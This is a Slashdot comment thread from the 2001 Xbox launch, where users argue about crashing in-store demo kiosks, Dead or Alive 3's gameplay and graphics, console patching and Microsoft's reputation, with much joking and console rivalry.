    See, I always said have patience and wait for the GameCube, it will be well worth it. I hear they're giving the Xbox out at Taco Bell though... yet another high quality product there...

    I wonder if they're going to show the blue screen of death on their promotional commercials?

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  111. How long until someone ports an XBOX game to a PC? by mikester911 · · Score: 1

    I'm thinking it wouldn't be long, since they are basically writing to a pc. Someone clever did that N64 -> Glide thing a few years ago, so it would only follow that this would be easier. Bleem also seemed like a stretch, but it seemed to function well in most circumstances.

    Is there something I'm missing here?

  112. Rampant Problems, non-exclusive games, DOA3 by Amon+CMB · · Score: 5, Insightful

    This is the first time a console has been launched in America first for quite some time. Usually the majority of the kinks are worked out when systems ship in Japan first and later in the US. We're experiencing virtual "beta hardware" testing firsthand with Xbox.

    Second, there have been tons of reports of Xbox kiosks failing. Not just on GA. I've been reading a lot in the news and on many forums that Xbox kiosk failures are happening very frequently, far more than any PS2 failures. I have yet to hear about a single GameCube failure since it launched in Japan, too.

    DOA3 has been reported to be heading to PS2 in the Official Playstation Magazine, along with a lot of Sega games that will merely premier on the Xbox.

    Also, to clear something up, DOA3 does not look as good as Tecmo would want everyone to believe. Tecmo has a bad habit of releasing ultra high-res screens captured from developer kits (we're talking near 2000x pixel resolutions). They released beautiful but fake screenshots of DOA2: Hardcore on PS2 with tons of antialiasing. Then when you actually play DOA2 you'll find it's a jagged, shimmering mess. Sad to see that people are falling for the same trick again with DOA3.

    Example:
    Tecmo provided screenshot of DOA2:HC:

    Touched up screen of DOA2

    What DOA2 really looks like:

    Real screenshot of DOA2

    As you can see from these screenshots and movies not supplied by the overseers at Tecmo, the game doesn't really look that much different from DOA2.

    Movie of DOA3

    Screenshots of DOA3

    Not to mention the DOA series' gameplay is very shallow and caters to button mashing, not nearly as deep as Tekken and Virtua Fighter. From the reports it sounds like DOA3 is a carbon copy of DOA2 with prettier graphics. Odd that the DOA series has suddenly become big-game despite lackluster sales on PS2/DC... Maybe because it's on Xbox, because if DOA3 were on PS2 it would be overshadowed by Tekken 4, Virtua Fighter 4 and Soul Calibur 2?

    I'd say hold off on an Xbox until they work the kinks out and better games come out for it. The Dreamcast is dead but you can grab one for a very low price. The PS2 is the best platform for gaming now, there are so many good games out and coming out next month that my wallet is going to be screaming for mercy. GameCube looks solid but not quite as solid as the PS2. Wait and see if you are still uncertain.

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    1. Re:Rampant Problems, non-exclusive games, DOA3 by MikeyNg · · Score: 1

      DOA gameplay is shallow? OK, I'm sorry. You've obviously never played it that much before. And to say that Tekken is as deep as Virtua Fighter merely seems to reinforce the fact that you really don't know alot about fighters.


      DOA uses a counter system to stop button mashers. If someone is hitting you with punches all the time, guess what? You can easily counter them and cause THEM damage. That's about one of the first things you learn when you play DOA.


      I am just really tired of people talking about how shallow DOA is. It's not as deep as VF2, but what is? Just because I don't have to memorize ten-hit combos like Tekken? Come on. Next time, how about you actually play the game for longer than an hour or so?


      And if you think Tekken 4 belongs in the same phrase as Virtua Fighter 4 and Soul Calibur 2, ummm... OK. Whatever. I've already noted how much I think of your fighting game knowledge. Let's also not forget the fact that Soul Calibur 2 is coming out on ALL the next-generation platforms - GameCube, PS2, and X-Box.


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    2. Re:Rampant Problems, non-exclusive games, DOA3 by dsyu · · Score: 1

      because if DOA3 were on PS2 it would be overshadowed by Tekken 4, Virtua Fighter 4 and Soul Calibur 2?

      So true. Preach it brother -- Soul Calibur 2 is going to kick some serious ass.

    3. Re:Rampant Problems, non-exclusive games, DOA3 by Amon+CMB · · Score: 2

      Yes, DOA is indeed shallow, if compared to Tekken and VF.

      The counters are more of a problem than a solution against button mashers because the window for countering is open for WAYYY too long. You can basically sit back and throw reversals and wait for attacks to win a match. Even worse is that once your move is reversed, you can't do a damn thing about it except sit back and take the damage. In Tekken you can pull off "chickens" which allow you to escape from a reversal. I think of DOA as more of a gambling fighting game because a lot of it depends on luck (will he reverse my attack or not?) Try and imagine two super-good DOA players, do you think they'd even bother attempting to do regular attacks? It would turn into a throwing match.

      Please, come at me with your "memorized button combos" in Tekken. I'll block all of your attacks and then counter attack with my precise timing and knowledge of attack distance. Or maybe I could simply "poke" your moves, ending all of your memorized combos instantly. Just ask the Eddy Gordo button mashers who have gone against me and who have tried using his endless kick strings, they all suffer embarassing defeats because they don't understand that Tekken is all about precision and timing, not combos.

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      Men believe what they want. - Caesar
    4. Re:Rampant Problems, non-exclusive games, DOA3 by aronc · · Score: 1

      Yes, the screenshots are hi-res. Which you can get if you have an HDTV instead of a bad NTSC capture card. And how does any of that change the non-stop raves about the graphics the IGN people (the very site you sourced) and every other game site that has played it?

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    5. Re:Rampant Problems, non-exclusive games, DOA3 by MikeyNg · · Score: 1

      DOA works on the throw-hold-blow system. If someone is punching away at you, you counter them. If someone is sitting back and countering everything, you run up and throw them. If someone is just trying to throw you all the time, you punch them in the face.


      You set up your opponent one thinking you're going to do one thing, when really you're setting them up for something else. It's not gambling. You're working on screwing with your opponent's mind. If you know how to counter and when to counter, you can counter your opponent. But if your opponent knows you're going to sit in counter animation, he'll just throw you and make you look stupid.

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    6. Re:Rampant Problems, non-exclusive games, DOA3 by spectecjr · · Score: 2

      Also, to clear something up, DOA3 does not look as good as Tecmo would want everyone to believe. Tecmo has a bad habit of releasing ultra high-res screens captured from developer kits (we're talking near 2000x pixel resolutions). They released beautiful but fake screenshots of DOA2: Hardcore on PS2 with tons of antialiasing. Then when you actually play DOA2 you'll find it's a jagged, shimmering mess. Sad to see that people are falling for the same trick again with DOA3.

      Hmmmm... no, I don't think they're doing the same trick again. I just saw an XBox in Toys R Us (working fine, thankyouverymuch), and the graphics looked FABULOUS. Antialiased to the hilt, smooooooth surfaces. Downright Yummy.

      Oddworld didn't look too bad, but I'm not a fan. And Project Gotham Racing looked *great*, but every now and then there was some polygon popping going on which was slightly annoying. The reflections look *fabulous*. Windows on the car... rainy streets... yum.

      Amped looks brilliant too.

      Looks like a kickass system. Gamecube doesn't look too bad either (they had a demo video tape running in the store), but Luigi's mansion appeared to have serious mipmapping problems (or lack thereof), and the characters appeared to have low-poly counts. The other games - Wave Race for example - looked better though.

      It's going to be an interesting ride...

      Simon

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    7. Re:Rampant Problems, non-exclusive games, DOA3 by greggman · · Score: 1

      I don't know what kind of drugs you're on but DOA3 looked BETTER than those screenshots which I saw live at the Tokyo Game Show since those screenshots are takem with a camera, not digitally from the game.

      Now, that doesn't mean it will be any fun and personally I could careless about another fighting game but DOA3 on X-Box looked arguably better than Virtua Fighter 4 in the arcade (which I've played here in Japan) or on PS2 (which I saw at Tokyo Game Show).

      It's not clear if it's a power issue or a style issue. DOA3 looks more real than VF4 partly because VF4 uses just bright unrealistic colors. But, it was very clear that the textures were much more detailed on DOA3.

    8. Re:Rampant Problems, non-exclusive games, DOA3 by Anonymous Coward · · Score: 0

      DOA works on the throw-hold-blow system. If someone is punching away at you, you counter them. If someone is sitting back and countering everything, you run up and throw them. If someone is just trying to throw you all the time, you punch them in the face.

      Is it just me, or does this sound a lot like rock-paper-scissors to everyone else, too?

    9. Re:Rampant Problems, non-exclusive games, DOA3 by thejake316 · · Score: 1

      DOA3 is popular because of the boobies. They bounce. Not as good as in the first one, but they still do.

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  113. Maybe you do... by Nindalf · · Score: 1

    $400 to manufacture when they sell at $299?

    Ever hear "give away the razor, sell the blades"?

    Selling gaming platforms at a loss, and making it up on game royalties is fairly standard practice. People don't like to part with that big a chunk of money, and they generally don't seem inclined to compare game prices very carefully in advance.

    I mean, you see 2 consoles for sale, one for $500, one for $300. You see that the first has games in the price range $40-$80, and the second $55-$95. Which do you buy? That $200 right now weighs in a lot more with most people than the $15/game, even if you end up getting 30 games.

    1. Re:Maybe you do... by Chiasmus_ · · Score: 1

      Ever hear "give away the razor, sell the blades"?

      Yeah, once I got a Gilette Mach 3 in the mail. When I tried to attach the blade, though, I got a message that I needed to take the razor to Gilette for service.

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  114. Microsoft commments on the in-store Xbox situation by alcohollins · · Score: 4, Interesting

    Gaming Age has a response from Microsoft about the broken XBox units.. Here's the scoop:

    A Microsoft representative has responded to yesterday's FiXbox story. Here's the official company line on in-store Xbox units.
    "With over 10,000 playable Xbox kiosks at retail over a month before launch, there are bound to be a few issues that crop up. Microsoft representatives are currently following up with retailers across the country to insure proper functionality of kiosks. Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."

  115. Console gaming, in a nutshell by Anonymous Coward · · Score: 0

    I guess it does have to be explained VERY slowely for some people. The XBox, like every normal console, runs a tiny embedded OS that has no HAL or hardware protection of any degree. Why? Because that would be a huge waste of resources. XBox's own OS is not unlike DOS. Load and display a splashscreen using assembler directly to video memory, then attempt to load whatever media is contained on the disk. No disk? Load dashboard. The XBox has no dynamic libs; all libs are statically linked within the games image. The games have full and total control over the hardware, and can, at will, crash it. Is this different than any other console gaming system that has ever existed? No. Why does this even get a slashdot article? Because it's Microsoft, and slashdotters cannot even spell that correctly.

    So next time sit back and remember about blowing into the NES cartridge just to keep the sprites from corrupting, the large release batches of Dreamcast games that were unloadable due to a pressing problem at a plant, or the Playstation IIs of Japan overheating and crashing in mid-play. It's the world of the console. Not stop posting crap and continue with your quest to boot Linux on a doorstop.

    1. Re:Console gaming, in a nutshell by Anonymous Coward · · Score: 0

      Don't forget hundreds of PS1's being sent in for repair because of overheating problems.

      Oh, and http://www.consolewire.com/news/item.asp?nid=959

      Oh, and http://www.theregister.co.uk/content/2/16044.html

  116. Target Employee by superslacker · · Score: 3, Informative

    I work on the salesfloor at a Target store and regularly work electronics. It seems every time I pass by the damn X Box kiosk I need to unlock it and reset it. The first day we had it the screen showed "Please Wait..." on the screen for the entire day until we managed to get keys to the kiosk to reset it. From what I've seen the graphics don't seem all that great, and the controls are much less than great. I think I'll just stick to my computer.

  117. XBOX is not a option, for gaming anyways. by dmouritsendk · · Score: 1, Interesting

    A consoles most important feature? Ease of use. Period. Look at the history, console addons like Segas 32x and Sega CD failed miserably. NOBODY needs addons that adds a "requirements" for their games. People want to be sure that whatever game they buy, they can play it out of the box. With no need to download/install/reboot Service Pack xx for xbox. I have a really hard time beliving MS could do a product right, the first time. They have no experince in this. Its just not the way they work overthere, MS seems to follow the following bizz. model:

    First make press(aka. investors) happy = say you are going to release a really cool product, which does everything. At half the cost(time when we talk office apps/devtools) of their compeditors.

    Next, focus on "looks" and making the deadline(you know you got around 6 month of buffer, since people dont really expect you to deliver on time).

    Have a huge release party(where the app. chrashes), ship the product anyways.

    After articles begin rising on "important" newssites like PCworld, beging to test the application. If under 34 bugs is cound, claim it works. And start building a service pack.

    BUUT, Im probertly going to get a xbox anyways. Because its VERY VEEEEERY hackable.
    And i would LOVE to be able to run linux on something MS produced.

    You're going to listen to something I said? Haven't I made it abundantly clear during the tenure of our friendship that I don't know shit?

  118. Funny how history is rewritten by Anonymous Coward · · Score: 1, Interesting

    It's amazing how you all gloss over the fact that when Sony released the PS1 (RELEASED, not demo), there were hundreds of units that crashed due to heat problems, mine included.

    And yet, despite these problems, PS1 effectively handed Nintendo their own testicles in a jar.

    Xbox's biggest problem isn't its hardware - it's Microsoft's public image. Heck, I get flack to this day for having worked there at one point. If Xbox were made by, say, Matsushita, you wouldn't be giving it half the flak you're giving it now.

    1. Re:Funny how history is rewritten by Ziviyr · · Score: 1

      And yet, despite these problems, PS1 effectively handed Nintendo their own testicles in a jar.

      And yet I have an N64 under my TV and a mock and laugh at the big jagged squares dancing about on PS1 games. And I continue to laugh at the PS2.

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  119. Xbox and Games by _RiZ_ · · Score: 2, Interesting

    I have a friend who is a game developer and who will remain anonymous (nda bleh). He has been working with the Xbox dev kit and recently has gotten his xbox test machines in order to test his levels and what not. He says there are no problems other than those which would be there while play testing levels.

    I wouldnt count out the entire Xbox because some demo doesnt work. Could the code from the developer of that demo be crap? I have personally seen some of what will be on Xbox and it has some great potential as well as some top notch developers in line to make some great games.

    Its too bad that when it crashes, and when it has problems, it will just be blamed on Microsoft. Oh well.

    1. Re:Xbox and Games by Rogerborg · · Score: 2
      • Its too bad that when it crashes, and when it has problems, it will just be blamed on Microsoft

      What an interesting comment. It's Microsoft specified hardware, running a Microsoft operating system modified by Microsoft, and the games are (allegedly) tested and certified by Microsoft (at great expense).

      Who should we be blaming?

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    2. Re:Xbox and Games by _RiZ_ · · Score: 1

      The software developers are the ones who are responsible for the quality of these games. They get very large binders filled with specifics of how the console manufacturer wants the game. The final say is Microsoft's, you are right, but all in all, if the code doesnt work, blame the developer.

    3. Re:Xbox and Games by DeeKay · · Score: 1

      But according to you guys I'm not allowed to blame M$ when word crashes on Windows, too! :-)
      You always say I am to blame the hardware manufacturers!
      So why is it that i am never allowed to blame M$? Do they have some special status that does not allow users to blame them? Hello?

      ..and to the guy with the N64 lauging about the PSX: Your sig goes on about endianness, i just thought that was pretty funny cause in contrast to your comment, cause the N64 and the PSX both share the same MIPS-RISC-Architecture! :-)) R3000 vs R4300

  120. MS Choosing by Amon+CMB · · Score: 2

    Anyone find it interesting that MS has chosen Flextronic's biggest rival to do repair servicing for the Xbox? (Solectron). Methinks Flextronics must have really #$*&ked up somewhere in the Xbox manufacturing for this to happen.

    http://gamespot.com/gamespot/stories/news/0,10870, 2818014,00.html

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  121. Haha, I just saw one of these as well by zeno_2 · · Score: 1

    Ya.. i went to the local Electronics Boutique in Coeur d'Alene, ID, and they had one of these kiosks setup.

    Well, first off, the system was not working. It did have power, I hit a reset button on the kiosk and the cd activity/power button light started flashing. They did have a Halo miniposter right under the controllers, giving the impression that you could play halo.

    Anyway, the xbox is a big box, much bigger then I expected.. and then theres the controllers.. I would say they could be used better as a type of weapon, morning star or something, as they are huge. I could not keep my hands in one position and push all the buttons with any ease.

  122. Ditto -- happened to me. by mshiltonj · · Score: 0

    They had a demo xbox at a Target near my house. It wasn't there a few days earlier, the last time I went.

    I saw the glossy sign above the monitor, was surprised to see it there, and was more surprised to *not* see a horde of 14-year-olds fondling the controls.

    I walked over to try my hand at whatever demo game they had running, only to find out it was abandoned: the damn thing was frozen.

    Oh well, the glossy sign above the monitor looked nice.

  123. Heat: That explains a lot by DrCode · · Score: 2

    The DOS crashes, the crumby DOS command-line, the Windows 3.1 inability to run in 386 protected-mode, the daily Windows95 crashes... all due to heat.

  124. Speaking of DOA3 - These Games are Getting Racy! by nherc · · Score: 1
    Here is the majority of the Dead or Alive 3 intro movie... I found it here.

    Warning: fully disrobed polygonal behind rendered and animated.

    This will be XBOX's first killer app.

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  125. If anything... by ^me^ · · Score: 0

    Microsoft should not be blamed if this is a hardware issue, especially overheating.
    Microsoft may have designed the initial machines and the software, but it's Flextronics that manufactures them.
    Also, I wonder if this is related to the Delays they were denying?

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  126. Re: My own Re:Not a Microsoft Problem. by DumbSwede · · Score: 1
    Forgive the reply to my own reply, but this answers most threads posted to the first reply.

    I have never had a crash on my PS2 and I was a first day (US) buyer. I don't spend a lot of time gaming however (I mostly wanted to have it, to have it).

    I have never seen a crash or hang in a store, but once again, I haven't spent hours haning out in mall electronic stores.

    That all said, Sony had lead time by releasing in Japan first to shake out many bugs. Microsoft will have virtually no time to fix any perceived problem while the Holiday season is in full swing.

    Rightly or wrongly, the general public associates crashing with Windows. Any above average occurance of crashes will doom this product, and be a black eye for Microsoft.

    For X-Box Fans, cross your fingers and hope it's the heat.

  127. goto: www.microsoft.com/xbox by Neck_of_the_Woods · · Score: 1

    You can download the Sp1 for the Xbox, should clear everything up. We will be shipping the service pack with the Xbox rather than delay the shipping date. You can expect a couple of Hotpatches in the next couple as our beta testers get a hold, I mean our first customers get a hold on the games.

    Enjoy.

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    1. Re:goto: www.microsoft.com/xbox by Louis_Wu · · Score: 1
      I am sorry I ment to say our customers get thier hands on the game.
      Notice the subtle mis-spellings in the MS Press Release. This is a direct insult to the online community, which suffers from an unfair stereotype, namely that the members of the community are poor at the mechanics of communication - specifically spelling and grammar. The mis-spellings are a left-handed recognition of the online community, however, we cannot analyze the grammar of the Press Release to determine if it is also meant as an insult, for the "grammar" of the typical press release violates many grammatical rules, and separating this tendancy from any attempts to convey a subtle message is much too difficult.
  128. So much for delaying the inevitable... by n2dasun · · Score: 1

    Can you please return Munch to the PC? NOW?!

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  129. two words by Nate+Fox · · Score: 1
    1. Re:two words by pipeb0mb · · Score: 1

      i

      love

      you

      epi

  130. goto: www.microsoft.com/xbox by Neck_of_the_Woods · · Score: 4, Funny

    What you need to do to clear this up is goto www.microsoft.com/xbox and download the newest Service Pack (sp1) for the Xbox. This should clear everything up for you. We will be releasing some Hotpatches in the next couple of days as our beta testers get thier hands on the games. I am sorry I ment to say our customers get thier hands on the game. We will not be changing the release date we will just include the SP1 cd with the release.

    Enjoy.

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  131. Re:DOA3 (!!!) by MG23 · · Score: 1
    http://www.computerandvideogames.com/r/?domain=&fe ed=index&page=http://www.computerandvideogames.com /news/news_story.php?id=20712


    For example, you're never going to see Dead or Alive 3 in the same form as you do on Xbox on any other console. They may at some stage do a DoA3 for PS2.


    Of course, being Microsoft they say "may" but I'm guessing its pretty certain.
  132. Re: Is DOA3 Xbox only? by ivan256 · · Score: 2

    Yeah, and DOA2 was Dreamcast only.

    There will be DOA3 for every platform, they'll just call it something like "DOA3 Special Edition" or something so that they can slap an XBox exclusive tag on it when XBox comes out and still get away with it. Like when "DOA2: Hardcore" came out for PS2. Either that, or it'll basically be the same game as DOA2.

    The publisher will push the game for every nickel.

  133. DOA? by Keck · · Score: 1

    Is DOA3 still planned as x-box only?

    Is that as in Dead On Arrival?

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  134. You can't patch console games! by HiredMan · · Score: 1
    A bug in software is easily fixed with a patch

    That's really the problem - once the Xboxs and games are shipped there aren't patches. I don't think M$ has the mentality of the console down... what are they going to do? Distribute flash-ROM system upgrades for everyone who bought 1.0?

    Consoles are suppossed to be like toasters - you plug them in, press the button and they just work.
    Every system upgrade - assuming you get people to do it stands a chance of breaking already shipped games - then you'll have ot upgrade you DOA3 to version2 to get it to work again.
    I don't think so...

    Shipped is shipped.

    =tkk

    1. Re:You can't patch console games! by taliver · · Score: 1

      Actually, you could.

      If you have a patch you want to put out, simply have some cheap game and put the patch code with it on the disk. Then give it away for free/ send it to people as a "bonus CD". When they play it, patch installed.

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    2. Re:You can't patch console games! by zeno_2 · · Score: 1

      In my opinion, pc games should be the same way. A very very good example of this is when Ultima 9 came out. I bought it I think the day it came out, and of course had many problems. Origin/EA sent me an updated disk that would have all the patches already installed, that way I would never have to worry about patching, just install and play. They also gave me a free account of UO, still have to pay monthly, but it is a good gesture of the company. I think if you buy a game that is fairly bug ridden, the company should have to provide a new updated cd at a later time to everyone that bought the game, so they dont have to worry about patching everytime they install the game to fix the bugs. I know this isn't going to happen, but it might make the marketing people calm down a bit when it comes to release dates, make it so the programmers can actually produce a quality product. It seems with a lot of companies, they dont really give a rats ass about the customer, and just sees them as a way to get more money. I have a much higher respect for console programmers then I do pc game programmers. Im not saying that there aren't any good pc programmers in any sense, but most of the pc game companies ship bug wridden products, and patch later. Consoles pretty much have to get it right the first shot, it is very costly for them to fix after the fact.

    3. Re:You can't patch console games! by schon · · Score: 1

      give it away for free/ send it to people as a "bonus CD"

      Tough for these people to use it when they've already returned their Xbox and got a Playstation2 instead.

  135. I totally agree. Even beter ... by Aceticon · · Score: 2

    Error messages should also show the relevant parts of the EULA and have button saying "I Agree" instead of "OK".

  136. If Microsoft works in it's usual way... by Anonymous Coward · · Score: 0

    it will release a new XBox XP next year, promising to be "more stable" than the original "XBox". Oh yes, you will have to pay another $300 for it too...

  137. Re:DOA3 (!!!) by jbrians · · Score: 1

    MS doesn't own DOA3 and would have nothing to do with a PS2 version. It's being written by the same company that did 1 & 2. The statement merely says that MS doesn't have an exclusive arrangement with the dev studio.
    -Brian

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  138. Re:Microsoft commments on the in-store Xbox situat by mshiltonj · · Score: 0

    MS pr hack says: "Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."

    Uh-huh. "On track?" You mean the original was to send out some broken units and fix them after they've been shipped and set up in stores? You're staying "on track" with that plan?

    The "track" wasn't to have 100% of units *shipping* in a functional state?

  139. Why buy an Xbox at all? by NineNine · · Score: 2

    What's the point of a computer in a console? If I wanted better games with better graphics, but didn't mind fighting with configuration, hardware specs, blah, I'd just play a computer game. A console is for those of us who want to smoke a bowl, grab a bag of Doritos, and veg out in front of the TV. It's designed to be FUN. To me, dealing with a hard drive, OS, etc. is exactly what I DON'T want from a game system. Screw that. All I need from my console is a place to put the CD/cartridge in, and a power button. Anything else is to damn complicated. I'll stick with the PS/2. Remember: "Puff, Puff Give!"

  140. Can you say... by Anonymous Coward · · Score: 0

    Arriving in early November:

    Tony Hawk's Blue Screen

  141. Hotter than your average shelf? by Anonymous Coward · · Score: 0
    Agreed. Keep in mind, its not as if you aren't going to be taking your brand spanking new console home and sticking it in a thin shelf right below the TV and just above your VCR/DVD player. That, or you're going to pile trash all over and around it as it sits on the floor of your bed/lounge room.

    All things considered, shop conditions may just be better than the messy, cramped places some of you have shoved your consoles..

  142. Not a chance! by Anonymous Coward · · Score: 0

    Sony understands consumer electronics -- in fact, it's practically the only thing they understand. (Does anybody remember the Sony Unix workstation?) Microsoft understands how to market software. I would not go to a cosmetic surgeon for heart surgery; likewise I won't go to Microsoft for a game console.

  143. mhhhhmmm by Anonymous Coward · · Score: 0

    I wonder if a person could build a 'portable xbox crasher' that would kill the HD on the xbox. Sort of a little meme re-enforcment, a not-so-subtle marketplace-influencing...

    HMmmmmmmmmmmmmmmmm i wonder if you could make a device, when turned on will kill the bastards in the box... imagine, hole legions of Xbox owners pissed b/c M$ XBox was DoA.

    Hmmmmmmmmmmmm

  144. _ONE_ of Intel's chips??? by Anonymous Coward · · Score: 0

    Try _MOST_ of Intel's chips. The Pentium floating point division bug and the F0 0F bug are just the most widely known.

  145. Xbox is the third version, stoopid. by Anonymous Coward · · Score: 0

    Or did the 1980s pass you by? (MSX, MSX2)

    Or was that a very clever troll? If so, it caught a few people!

    1. Re:Xbox is the third version, stoopid. by Dashslot · · Score: 1

      Do you realise that you are the only other person I have seen who has made the MSX -> MSX Box connection, in all the X Box articles I 've seen? Amazing.

    2. Re:Xbox is the third version, stoopid. by Anonymous Coward · · Score: 0

      Others have made the connection. Note that the MSX was barely sold in the US, so it's sorta of an obscure reference here.

  146. Trois not deux by Anonymous Coward · · Score: 0

    or did you miss MSX2? In which case your point is made even stronger...

  147. Re:Speaking of DOA3 - These Games are Getting Racy by Anonymous Coward · · Score: 0

    Yes, a sequel to the game with the infamous "bouncing breasts option" has racy graphics. What a news flash.

  148. Console Lock Ups by mestreBimba · · Score: 1

    If they are running pre-release (beta) versions of the software for demo purposes there may also be some lock ups. I develop games for consoles and believe me it is possible to lock them up with buggy code. While anything that is a full released package (software), has undergone some pretty thorough testing by the console manufacturer before the manufacturer (sony, nintendo) will put their name on it and let it ship. So if the software on the xbox is beta it may be at fault as well as anything.

    All your devKits are blong to US!

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  149. Remember when Bill was showing off Windows 98... by OverDrive33 · · Score: 1

    and it blue screened on him? LOL this reminds me of that. hehe... xbox.

  150. Yes, Indeed! by dbretton · · Score: 3, Funny

    It even took the Gates family three tries:

    William H Gates III

    -D

    1. Re:Yes, Indeed! by ThatComputerGuy · · Score: 1

      Anyone who thinks that one is perfection should be shot... or at least pied.

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      You need to get laid.

  151. Crashed on me! by kruczkowski · · Score: 3, Funny

    I have to tell you all, I was playing this and thank God it crashed... I don't know if you all know about this new ActiveDeath technology.

    Also don't forget that you can preorder units now

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  152. Re:Speaking of DOA3 - These Games are Getting Racy by nherc · · Score: 1

    There's an "option" switch for bouncy breasts? Can you set the size as well? Forgive me, I haven't played any of the series... just saw the buck-naked toon in the intro movie and thought it might be of interest to all of the graphics kiddies.

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  153. Re:Speaking of DOA3 - These Games are Getting Racy by Anonymous Coward · · Score: 0

    in DOA2 for dreamcast, one of the options is age. It goes from 13 to 99. The higher you set your age, the bouncier the boobs are.

    I love that game.

  154. Gaming-age information from a Nintendo fanboy. by Anonymous Coward · · Score: 0

    The guy that was quoted with that information was a Nintendo fanboy, thats what makes me so mad.

    Here is his information:

    Lord Federman (gaming-age forums)
    Works at Target (yeah really credible there)
    Lives in Germantown, MD.
    He is an anti-Microsoft biggot like a lot of you, so this is completely crap.

    Just shows you how poor the Internet is when it comes to journalism. Let someone who is a fanboy of another console post news about some other console and its on slashdot.

    Its only on slashdot because its anti-microsoft. Pathetic and a load of crap... worst thing on slashdot in a long time. DO YOUR FREAKING RESEARCH before you post stories like this!!!!!!!!!!!!!!!!!

    Personally, if I was Microsoft, I would be looking into lawsuits right now....

    Either research your information or get sued, its your choice!

    No I don't have an account on slashdot

  155. on ingnore by Anonymous Coward · · Score: 0

    Microsoft on ignore.

  156. Played at Target, Grinding noise? by HomeGroove · · Score: 1
    I played it at Target (Wilmington, NC) and the only playable demo was Oddworld. I was going to check out the non-playable demos, but there was some kid waiting to play and my wife made me give it up ("You're stealing it from a kid."). It was OK, graphics seemed pretty close to a PS2.

    But the interesting thing was a severe grinding noise that was definately coming out of the Xbox. The kiosk had Xbox, PS2 and I believe n64 (which i'm sure will be replaced with the game cube at some point) and the grinding noise was DEFINATELY coming out of the Xbox. Did anybody else experience this? I'm not sure if it was the disc spinning or harddrive noises. And I think the controller sucked. I'll stick to my less obtrusive, less buttoned PS2 controller.

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  157. MOD DOWN by Anonymous Coward · · Score: 0

    This is an error presented by the XDK Launcher (dev kit).

  158. Madden on Genesis by Jason+Cwik · · Score: 1

    I remember the first John Madden on Genesis. When your opponent was going to kick a field goal, you could keep going offsides for a couple of minutes, and then his kicker would always miss... But sometimes the game would crash instead!
    Maybe M$ should put extra large fans on the demo units. You can still cool with hot air, you just need more of it :)

  159. Has Microsoft ever heard of Carpet?!? by poopie · · Score: 2

    So, what happens when like 40% of these boxes get put down on to thick carpet and left turned on for days on end? Lemme guess... add-on fans? recall? No. I'll bet that they'll offer competetive trade-ins on Microsoft XboX XP release2.

    (reminds me of that movie with Chevy Chase where they are selling super-duper spy planes that can do everything except when they get wet, they go haywire... someone shouts out, "have you ever heard of RAIN?!?"

    1. Re:Has Microsoft ever heard of Carpet?!? by nanoakron · · Score: 1

      (reminds me of that movie with Chevy Chase where they are selling super-duper spy planes that can do everything except when they get wet, they go haywire... someone shouts out, "have you ever heard of RAIN?!?"

      umm, dude - reminds me of the B2 and the other stealth aircraft we have flying IN REAL LIFE.

      -Nano.

  160. ah, MS bashing at it's 'finest' by neurocide · · Score: 2, Interesting

    well, i'd bet more on the 5-month old version of oddworld they were running as demos .. plus the older hardware.

    yes they run rather warm, etc .. but they're also not meant to be used for such long periods of time (granted, it should be expected in quality testing, but still) in such a small enclosure.

    plenty of games have locked up before, and on other systems as well... but of course, since its slashdot, we should focus on microsoft and the evil from redmond.

    no i'm not a microsoft supporter, yes i've played the console before, no it's not crashed on me.

    wanna look at buggy, play anything by 3do.

    1. Re:ah, MS bashing at it's 'finest' by TheMCP · · Score: 1
      yes they run rather warm, etc .. but they're also not meant to be used for such long periods of time (granted, it should be expected in quality testing, but still) in such a small enclosure.

      Everyone is saying this and I have to take issue with it.

      For long periods of time, this isn't a good idea. I can think of two or three friends just offhand who like to just turn off the TV and leave their console game running for hours or perhaps even days and then come back, turn on the TV, and pick up where they left off. In the current case, he just forgets to turn it off on a regular basis. In several previous cases it related to games that either didn't have a "save" function or it didn't work as well as they would like.

      As for the size of the enclosure... they should figure that out before they make the enclosure. The kiosk/demo machines are there to demonstrate the product. They're there to show me why I should want to buy the product. If they can't make a kiosk that doesn't cause the product to malfunction, I have three ways to think about it:

      1. I have no way, as an outside observer, to know whether the problem is a bad kiosk or a bad product, so to save myself from buying a $300 dud I must assume the latter.
      2. These people are supposed to be engineering a piece of what amounts to being computer equipment. If they can't even produce a decent kiosk for it to work in, why should I trust them to be able to do a good job of engineering a decent console?
      3. If the console has such tight tolerances, perhaps it is best to avoid it in the first place.


      I'm not concerned about an occasional crash. Frankly, practically everything in my life has a computer in it these days, and many of them crash once in a great while. I even had an iron crash once - yes, an iron, a hot metal thing that makes clothes flat. It crashed and got cold, insisted that it was hot, and wouldn't respond to the controls, and I had to "reboot" it by unplugging it and plugging it back in.

      I've had console videogames crash before, no problem. What worries me is that it sounds like the Xbox crashes too often.

      That said though, much as I hate microsoft and won't purchase one myself just because they made it... let's see what people say about it when it actually comes to market before we pronounce it a dud.
    2. Re:ah, MS bashing at it's 'finest' by neurocide · · Score: 1

      yeah, i agree. i was saying they probably should have done some more testing before putting these things in the kiosks... (granted, i haven't seen one for myself, but, eh.)

      i imagine retail versions will have some better thermal protection .. and not be running 5 month old E3 demos.

  161. PS2 Kiosks don't seem to have "heat problems"... by Svartalf · · Score: 2

    They seem to largely take a beating and keep on ticking. When the PS2 pre-rollout occured, they had nearly all the kiosks working with no hitches. What's going on with the XBox is not going to fly with most of the market- no matter what people think otherwise.

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  162. It's a screenshot of the XBox Development Kit.... by Rahga · · Score: 2

    You can see it running MAME here, btw....
    http://www.otakunozoku.com/xbox/index.html

  163. Too late for Beta Testing by tweakt · · Score: 1

    Yes, but the units have been produced and shipped at this point, so there is no chance to fix any problems now. Unless they do some massive recall/crosship type deal... (doubtfull). Face it... you'll be receiving your regular X-Box service packs, just like any other Microsoft Product.

  164. Wired has an article on the X-Box by Mr.+Foogle · · Score: 1

    "The Making of the Xbox"
    The Xbox is here. Manufacturing is history.

    It's really about contract electronics manufacturers. Flextronics picked up the contract to make the boxes, and has supposedly built more capacity to handle the expected demand.

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    1. Re:Wired has an article on the X-Box by ksheff · · Score: 2

      And they hyped it like it was going to be the best thing ever. They were also so proud that they did this project in 14 months compared to the 30 months that it took Sony to develop the PS2. I certainly hope so. The XBox is built with off the shelf parts & modified win2k compared to the PS2 which started from scratch with a custom cpu, graphics, etc.

